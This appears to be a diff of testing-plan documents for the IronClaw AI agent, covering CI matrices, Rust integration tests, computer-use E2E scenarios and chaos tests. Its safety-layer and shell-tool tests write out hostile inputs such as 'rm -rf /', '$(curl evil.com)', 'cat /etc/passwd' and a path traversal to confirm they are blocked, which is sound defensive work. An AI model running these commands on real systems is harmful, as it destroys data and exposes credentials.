The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
Add a CI matrix:
```yaml
# .github/workflows/test.yml
strategy:
matrix:
features:
- "--all-features"
- "" # default features only
- "--no-default-features --features libsql"
steps:
- name: Run Tests
run: cargo test ${{ matrix.features }} -- --nocapture
```
Update `code_style.yml` to also run clippy with `--all-features`:
```yaml
- name: Check lints (all features)
run: cargo clippy --all-features -- -D warnings
- name: Check lints (libsql only)
run: cargo clippy --no-default-features --features libsql -- -D warnings
```
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
### 1.4 Docker Build in CI
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
```yaml
# .github/workflows/test.yml - new job
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
```
**Files:** Modify `.github/workflows/test.yml`
---
## Tier 2: Integration Tests
**Cost:** Medium (needs test harnesses, possibly testcontainers)
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
### 2.1 Test Harness: In-Memory Database Backend
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
```rust
// src/testing.rs
pub async fn test_db() -> impl Database {
let backend = LibSqlBackend::open_in_memory().await.unwrap();
backend.run_migrations().await.unwrap();
backend
}
```
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
### 2.2 Turn Persistence Tests
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
```rust
#[tokio::test]
async fn approved_tool_call_persists_turn() {
let db = test_db().await;
let mut agent = TestAgent::new(db);
// Create a turn with a pending tool call
agent.submit("search for cats").await;
// Simulate tool approval
agent.approve_tool_call(0).await;
// Verify turn is in DB (not just in memory)
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
assert!(turns.iter().any(|t| t.has_tool_result()));
}
```
Cover:
- Approved tool call with successful result
- Approved tool call with error result
- Approved tool call requiring auth
- Deferred tool call with auth
- User message persisted before agent loop starts (not after)
**Files:** New `tests/turn_persistence.rs`
### 2.3 WASM Channel Lifecycle Tests
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
```rust
#[tokio::test]
async fn wasm_channel_workspace_writes_are_flushed() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Simulate a callback that writes workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// Verify writes were captured
let writes = wrapper.take_pending_writes();
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
}
#[tokio::test]
async fn wasm_channel_workspace_read_returns_prior_writes() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Inject workspace data
wrapper.inject_workspace_entry("polling_offset", b"12345");
// Simulate a callback that reads workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// The channel should have used the injected offset (not 0)
// Verify by checking the getUpdates call offset parameter
}
```
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
### 2.4 Extension Registry Collision Tests
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
```rust
#[tokio::test]
async fn channel_and_tool_with_same_name_dont_collide() {
let registry = TestRegistry::new();
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
assert!(registry.tools_dir().join("telegram").exists());
assert!(registry.channels_dir().join("telegram").exists());
// Both resolve independently
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
}
```
**Files:** New `tests/registry_collision.rs`
### 2.5 Shell Tool Realistic Arg Tests
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
```rust
#[tokio::test]
async fn destructive_command_blocked_with_object_args() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "rm -rf /"
});
// This is how the LLM actually sends args -- as an Object, not a String
let result = shell.execute(params, &test_context()).await;
assert!(result.is_err() || result.unwrap().contains("blocked"));
}
```
Also test pipe deadlock prevention with large output:
```rust
#[tokio::test]
async fn shell_handles_large_output_without_deadlock() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
});
let result = tokio::time::timeout(
Duration::from_secs(10),
shell.execute(params, &test_context())
).await;
assert!(result.is_ok(), "shell tool deadlocked on large output");
}
```
**Files:** Extend `src/tools/builtin/shell.rs` tests
### 2.6 Failover and Circuit Breaker Edge Cases
```rust
#[test]
fn cooldown_activation_at_zero_nanos() {
let mut cooldown = ProviderCooldown::new();
// Edge case: if system clock returns 0 (or test mock does)
cooldown.activate_cooldown(0);
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
}
#[tokio::test]
async fn failover_with_all_providers_failing() {
let failover = FailoverProvider::new(vec![
always_failing_provider("a]"),
always_failing_provider("b"),
]);
let result = failover.chat(&[]).await;
assert!(result.is_err());
// Must not panic (the old .expect() bug)
}
```
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
### 2.7 Context Length Recovery Test
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
```rust
#[tokio::test]
async fn context_length_exceeded_triggers_compaction() {
let mut agent = TestAgent::with_provider(
ContextLimitMockProvider::new(fail_after_n_turns: 3)
);
// Send enough messages to trigger context limit
for i in 0..5 {
agent.submit(&format!("message {i}")).await;
}
// Agent should have compacted and continued, not errored
assert!(agent.last_response().is_ok());
assert!(agent.compaction_count() > 0);
}
```
**Files:** New `tests/context_recovery.rs`
---
## Tier 3: Computer-Use E2E Testing
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
### 3.1 Architecture
```
+------------------+ +-----------------+ +------------------+
| Test Runner | | Headless | | IronClaw |
| (Python/TS) |---->| Chromium |---->| (cargo run) |
| | | (Playwright) | | GATEWAY=true |
| Orchestrates | | | | port 3001 |
| scenarios | | Screenshots | | |
+--------+---------+ +--------+--------+ +------------------+
| |
v v
+------------------+ +-----------------+
| Claude | | Assertion |
| Computer Use | | Engine |
| API | | (visual + |
| (screenshot → | | DOM-based) |
| action) | | |
+------------------+ +-----------------+
```
**Components:**
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
4. **Assertion engine** -- Hybrid approach:
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
### 3.2 Test Infrastructure Setup
**Directory structure:**
```
tests/
e2e/
conftest.py # pytest fixtures: start ironclaw, browser
computer_use.py # Claude computer use client wrapper
assertions.py # DOM + visual assertion helpers
scenarios/
test_connection.py
test_chat.py
test_skills.py
test_sse_reconnect.py
test_onboarding.py
test_html_injection.py
test_tool_approval.py
screenshots/ # Reference screenshots (gitignored)
Dockerfile.test # Container for CI: ironclaw + chromium
```
**Fixture: start ironclaw**
```python
@pytest.fixture(scope="session")
async def ironclaw_server():
"""Start ironclaw with gateway enabled, return base URL."""
env = {
"CLI_ENABLED": "false",
"GATEWAY_ENABLED": "true",
"GATEWAY_PORT": "3001",
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
"GATEWAY_USER_ID": "e2e-tester",
"LLM_BACKEND": "openai_compatible", # or mock
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
}
proc = await asyncio.create_subprocess_exec(
"cargo", "run", "--features", "libsql",
env={**os.environ, **env},
)
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
yield "http://127.0.0.1:3001"
proc.terminate()
```
**Fixture: browser with computer use**
```python
@pytest.fixture
async def browser_agent(ironclaw_server):
"""Playwright browser + Claude computer use agent."""
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page(viewport={"width": 1280, "height": 720})
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
agent = ComputerUseAgent(page)
yield agent
await browser.close()
```
**Computer use wrapper:**
```python
class ComputerUseAgent:
"""Drives the browser via Claude computer use API."""
def __init__(self, page: Page):
self.page = page
self.client = anthropic.Anthropic()
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
"""
Give a natural-language instruction, let Claude drive the browser.
Returns a list of observations/assertions from Claude.
"""
messages = [{"role": "user", "content": instruction}]
observations = []
for _ in range(max_steps):
screenshot = await self.take_screenshot()
response = self.client.messages.create(
model="claude-sonnet-4-20250514",
max_tokens=1024,
tools=[{
"type": "computer_20250124",
"name": "computer",
"display_width_px": 1280,
"display_height_px": 720,
}],
messages=messages,
)
# Process tool use blocks (click, type, screenshot, etc.)
for block in response.content:
if block.type == "tool_use":
result = await self.execute_action(block.input)
messages.append({"role": "assistant", "content": response.content})
messages.append({"role": "user", "content": [result]})
elif block.type == "text":
observations.append(block.text)
if response.stop_reason == "end_turn":
break
return observations
async def take_screenshot(self) -> bytes:
return await self.page.screenshot(type="png")
async def execute_action(self, action: dict) -> dict:
"""Translate Claude's computer use action to Playwright calls."""
if action["action"] == "click":
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
elif action["action"] == "type":
await self.page.keyboard.type(action["text"])
elif action["action"] == "scroll":
await self.page.mouse.wheel(0, action["coordinate"][1])
elif action["action"] == "key":
await self.page.keyboard.press(action["text"])
# Return screenshot after action
screenshot = await self.take_screenshot()
return {"type": "tool_result", "content": [
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
"data": base64.b64encode(screenshot).decode()}}
]}
```
### 3.3 Test Scenarios
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
#### Scenario 1: Connection and Tab Navigation
```python
async def test_connection_and_tabs(browser_agent):
"""Bugs: #306 (orphan threads on null threadId during page load)"""
observations = await browser_agent.execute_scenario("""
1. Look at the page. Verify there is a "Connected" indicator visible.
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
3. For each tab, verify the panel content changes and no error messages appear.
4. Return to the Chat tab.
5. Report what you see for each tab.
""")
# DOM assertions (fast, deterministic)
page = browser_agent.page
assert await page.locator(".connection-status.connected").count() > 0
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
```
#### Scenario 2: Chat Message Round-Trip
```python
async def test_chat_sends_and_receives(browser_agent):
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
observations = await browser_agent.execute_scenario("""
1. Click on the chat input box at the bottom.
2. Type "Hello, what is 2+2?" and press Enter.
3. Wait for the assistant to respond (you should see a streaming response).
4. Verify the assistant's response appears below your message.
5. Report the assistant's response.
""")
page = browser_agent.page
# At least 2 messages: user + assistant
messages = await page.locator(".message").count()
assert messages >= 2
# No error toasts
assert await page.locator(".toast.error").count() == 0
```
#### Scenario 3: SSE Reconnect
```python
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
page = browser_agent.page
# Step 1: Send a message
await browser_agent.execute_scenario("""
Type "Remember this: the secret word is platypus" in the chat and press Enter.
Wait for the response.
""")
msg_count_before = await page.locator(".message").count()
# Step 2: Kill and restart the server
# (test fixture provides a restart helper)
await restart_ironclaw(ironclaw_server)
# Step 3: Wait for reconnect
await page.wait_for_selector(".connection-status.connected", timeout=30000)
# Step 4: Verify message history is preserved
msg_count_after = await page.locator(".message").count()
assert msg_count_after >= msg_count_before, \
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
```
#### Scenario 4: Skills Search, Install, Remove
```python
async def test_skills_lifecycle(browser_agent):
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
# Override confirm() to auto-accept
await browser_agent.page.evaluate("window.confirm = () => true")
observations = await browser_agent.execute_scenario("""
1. Click the "Skills" tab.
2. Look for a search box. Type "markdown" and press Enter or click Search.
3. Wait for results to appear.
4. Verify results show: name, version, description.
5. Click "Install" on the first result.
6. Wait for a success notification.
7. Verify the skill now appears in the "Installed Skills" section.
8. Click "Remove" on the skill you just installed.
9. Wait for a success notification.
10. Verify the skill is gone from the installed list.
11. Report what happened at each step.
""")
# Final state: no installed skills (we removed what we installed)
page = browser_agent.page
await page.click('[data-tab="skills"]')
# Should not have the test skill installed
```
#### Scenario 5: HTML Injection Defense
```python
async def test_html_injection_sanitized(browser_agent):
"""Bug: #263 (HTML error pages injected into UI, still open)"""
# This requires a mock LLM that returns HTML in tool output
# or we craft a message that triggers tool output containing HTML
page = browser_agent.page
await browser_agent.execute_scenario("""
Type this exact message in the chat and press Enter:
"Please use the http tool to fetch https://httpbin.org/html"
Wait for the response.
""")
# The page should NOT have raw HTML rendering from the tool output
# Check that no unexpected <h1> or full <html> documents appear
body_html = await page.inner_html("body")
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
"Raw HTML from tool output was injected unsanitized into the page"
```
#### Scenario 6: Tool Approval Overlay
```python
async def test_tool_approval_overlay(browser_agent):
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
observations = await browser_agent.execute_scenario("""
1. Type "Run the shell command: echo hello world" in chat and press Enter.
2. If an approval dialog appears, click "Approve" or "Allow".
3. Wait for the result.
4. Verify the output includes "hello world".
5. Report what you see.
""")
```
#### Scenario 7: Onboarding Wizard (Full Flow)
```python
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
# Start ironclaw with a fresh home directory (no prior config)
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
# if/when one exists. For now, test the CLI wizard via expect-style automation.
proc = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=60,
)
# Step through wizard
proc.expect("Welcome to IronClaw")
proc.expect("LLM Backend")
proc.sendline("1") # Select first option
# ... continue through all 7 steps ...
proc.expect("Setup complete")
proc.close()
# Restart and verify wizard does NOT re-trigger
proc2 = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=30,
)
proc2.expect("Agent ironclaw ready") # Should skip wizard
# Must NOT see "Welcome to IronClaw" again
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
proc2.close()
```
### 3.4 LLM Backend for E2E Tests
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
Recommendation: Start with local Ollama for development, mock LLM server for CI.
### 3.5 CI Integration
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * *" # Daily at 6 AM UTC
workflow_dispatch: # Manual trigger
jobs:
e2e:
runs-on: ubuntu-latest
services:
ollama:
image: ollama/ollama:latest
steps:
- uses: actions/checkout@v6
- name: Build ironclaw
run: cargo build --features libsql
- name: Install Playwright
run: pip install playwright pytest-playwright && playwright install chromium
- name: Pull test model
run: ollama pull qwen2.5:0.5b
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=300
env:
LLM_BACKEND: openai_compatible
LLM_BASE_URL: http://localhost:11434/v1
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
```
---
## Tier 4: Chaos and Resilience Testing
**Cost:** Medium (needs mock providers, time-control utilities)
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
### 4.1 LLM Provider Chaos
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
```rust
/// Provider that fails N times then succeeds
struct FlakeyProvider { failures_remaining: AtomicU32 }
/// Provider that returns ContextLengthExceeded after N messages
struct ContextBombProvider { threshold: usize }
/// Provider that hangs forever (tests timeout handling)
struct HangingProvider;
/// Provider that returns malformed JSON
struct GarbageProvider;
```
**Test scenarios:**
| Scenario | Setup | Expected |
|----------|-------|----------|
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
| Malformed response | GarbageProvider | Error logged, retry or failover |
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
### 4.2 Concurrent Job Stress Test
Submit many jobs simultaneously and verify no state corruption:
```rust
#[tokio::test]
async fn concurrent_jobs_dont_corrupt_state() {
let db = test_db().await;
let agent = TestAgent::new(db);
// Submit 20 jobs concurrently
let handles: Vec<_> = (0..20)
.map(|i| {
let agent = agent.clone();
tokio::spawn(async move {
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
// All should complete (some may error, none should panic)
for result in &results {
assert!(result.is_ok(), "job panicked: {:?}", result);
}
// Verify no cross-contamination in contexts
let jobs = agent.db().list_jobs().await.unwrap();
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
}
```
**Files:** New `tests/concurrent_jobs.rs`
### 4.3 Dispatcher Infinite Loop Guard
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
```rust
#[tokio::test]
async fn dispatcher_terminates_when_hook_rejects() {
let dispatcher = TestDispatcher::new();
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
let result = tokio::time::timeout(
Duration::from_secs(5),
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
).await;
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
}
```
**Files:** Extend `src/agent/dispatcher.rs` tests
### 4.4 Value Estimator Boundary Tests
```rust
#[test]
fn is_profitable_with_zero_price() {
let estimator = ValueEstimator::new();
// Must not panic (was a divide-by-zero before PR #139)
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
assert!(!result);
}
#[test]
fn is_profitable_with_negative_cost() {
let estimator = ValueEstimator::new();
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
// Negative cost = always profitable
assert!(result);
}
```
**Files:** Extend `src/estimation/value.rs` tests
### 4.5 Safety Layer Adversarial Tests
Test the safety layer with adversarial inputs that have caused real bypasses:
```rust
#[test]
fn path_traversal_in_wasm_allowlist() {
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
// Must be blocked: path traversal before normalization
assert!(!allowlist.allows("api.example.com/v1/../admin"));
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
}
#[test]
fn shell_env_scrubbing_removes_secrets() {
let env = scrubbed_env();
assert!(!env.contains_key("OPENAI_API_KEY"));
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
assert!(!env.contains_key("DATABASE_URL"));
// Safe vars preserved
assert!(env.contains_key("PATH"));
assert!(env.contains_key("HOME"));
}
#[test]
fn leak_detector_catches_api_keys_in_output() {
let detector = LeakDetector::default();
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
let result = detector.scan(output);
assert!(result.has_leaks());
}
#[test]
fn sanitizer_blocks_command_injection() {
let sanitizer = Sanitizer::new();
let inputs = vec![
"hello; rm -rf /",
"$(curl evil.com)",
"hello\n`whoami`",
"test && cat /etc/passwd",
];
for input in inputs {
let result = sanitizer.sanitize(input);
assert_ne!(result, input, "injection not caught: {input}");
}
}
```
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
---
## Implementation Priority
| Priority | Tier | Item | Effort | Bugs Prevented |
|----------|------|------|--------|----------------|
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
## Open Questions
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
@@ -1,354 +0,0 @@
# E2E Testing Infrastructure Design
**Date:** 2026-02-24
**Status:** Approved
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
---
## Decisions
| Decision | Choice | Rationale |
|----------|--------|-----------|
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
---
## Architecture
```
pytest
|
+----------+-----------+
| |
mock_llm.py ironclaw binary
(canned responses) (cargo build --features libsql)
127.0.0.1:{port} 127.0.0.1:{port}
| |
+----------+-----------+
|
Playwright
(headless Chromium)
DOM assertions
```
**Flow:**
1. pytest session starts
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
3. Session-scoped fixture starts mock LLM on OS-assigned port
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
6. Each test uses Playwright locators + DOM assertions
7. Teardown kills ironclaw and mock LLM
---
## Directory Structure
```
tests/e2e/
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
mock_llm.py # OpenAI-compat HTTP server with canned responses
helpers.py # Shared utilities (wait_for_ready, selectors)
scenarios/
__init__.py
test_connection.py # Auth, tab navigation, connection status
test_chat.py # Send message, SSE streaming, response rendering
test_skills.py # Search, install, remove lifecycle
pyproject.toml # Dependencies
README.md # How to run locally and in CI
```
---
## Mock LLM Server
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
**Endpoint:** `POST /v1/chat/completions`
**Behavior:**
- Parses the `messages` array from the request body
- Pattern-matches the last user message content to select a canned response
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
**Canned response table:**
| Pattern (regex) | Response |
|-----------------|----------|
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
| `skill\|install` | `I can help you with skills management.` |
| `.*` (default) | `I understand your request.` |
**Streaming format:**
```
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
data: [DONE]
```
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
---
## Fixtures
### Session-scoped (run once per test session)
**`ironclaw_binary`**
- Checks if `./target/debug/ironclaw` exists
- If missing or stale, runs `cargo build --no-default-features --features libsql`
- Returns the binary path
- Timeout: 300s (first build can be slow)
**`mock_llm_server`**
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
- Polls `GET /v1/models` until ready (timeout 10s)
- Yields `(process, url)`
- Kills process on teardown
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
- Starts the ironclaw binary with environment:
```
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=0
GATEWAY_AUTH_TOKEN=e2e-test-token
GATEWAY_USER_ID=e2e-tester
CLI_ENABLED=false
LLM_BACKEND=openai_compatible
LLM_BASE_URL={mock_llm_url}
LLM_MODEL=mock-model
DATABASE_BACKEND=libsql
LIBSQL_PATH=:memory:
SANDBOX_ENABLED=false
SKILLS_ENABLED=true
ROUTINES_ENABLED=false
HEARTBEAT_ENABLED=false
```
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
- Polls `GET /api/status` until ready (timeout 60s)
- Yields the base URL (`http://127.0.0.1:{port}`)
- Sends SIGTERM on teardown, SIGKILL after 5s grace
### Function-scoped (fresh per test)
**`page(ironclaw_server)`**
- Launches Playwright Chromium (headless)
- Creates new browser context (isolated cookies/storage)
- Creates new page with viewport 1280x720
- Navigates to `{base_url}/?token=e2e-test-token`
- Waits for network idle
- Yields the `Page` object
- Closes browser context on teardown
---
## Test Scenarios
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
Tests auth, initial page load, and tab switching.
```
test_page_loads_and_connects:
1. Assert page title or main container is visible
2. Assert connection status indicator shows "Connected" (or equivalent)
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
test_tab_navigation:
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
a. Click the tab button
b. Assert the corresponding panel container becomes visible
c. Assert no error toasts appear
2. Return to Chat tab
3. Assert chat input is visible and focusable
test_auth_rejection:
1. Navigate to base_url without token (no ?token= param)
2. Assert auth screen / login prompt appears (not the main app)
```
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
```
test_send_message_and_receive_response:
1. Locate chat input element
2. Type "What is 2+2?"
3. Press Enter (or click Send button)
4. Wait for assistant message to appear (timeout 15s)
5. Assert user message bubble contains "What is 2+2?"
6. Assert assistant message bubble contains "4"
7. Assert no error toasts visible
test_multiple_messages:
1. Send "Hello"
2. Wait for response containing "Hello" or "help"
3. Send "What is 2+2?"
4. Wait for response containing "4"
5. Assert message count >= 4 (2 user + 2 assistant)
test_empty_message_not_sent:
1. Focus chat input
2. Press Enter with empty input
3. Assert no new messages appear after 2s
```
### Scenario 3: Skills Lifecycle (`test_skills.py`)
Tests ClawHub search, install, and remove through the browser UI.
